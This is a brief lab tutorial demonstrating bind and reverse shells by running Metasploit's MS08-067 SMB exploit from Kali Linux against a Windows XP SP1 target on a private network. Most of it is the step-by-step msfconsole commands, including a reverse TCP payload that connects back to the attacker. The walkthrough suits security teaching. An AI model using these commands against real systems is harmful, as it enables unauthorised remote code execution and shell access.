(In this example, I’m using Kali Linux as the attacker and Windows XP Service Pack 1 as the target.)

Bind shell

Bind shell is a type of shell in which the target machine opens up a communication port or a listener on the victim machine and waits for an incoming connection. The attacker then connects to the victim machine’s listener which then leads to code or command execution on the server.

How To:

First Create file text.txt on the Windows XP SP 1 on directory C:\

Type service postgresql start, service metasploit start and msfconsole in order to run metasloit on kali linux

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7
RHOST => 192.168.0.7
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(ms08_067_netapi) > exploit

Text.txt on windows XP SP 1 is deleted

Reverse shell

A reverse shell is a type of shell in which the target machine communicates back to the attacking machine. The attacking machine has a listener port on which it receives the connection, which by using, code or command execution is achieved.

How To:

First Create file text.txt on the Windows XP SP 1 on directory C:\

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7
RHOST => 192.168.0.7
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > show options
msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3
LHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > exploit
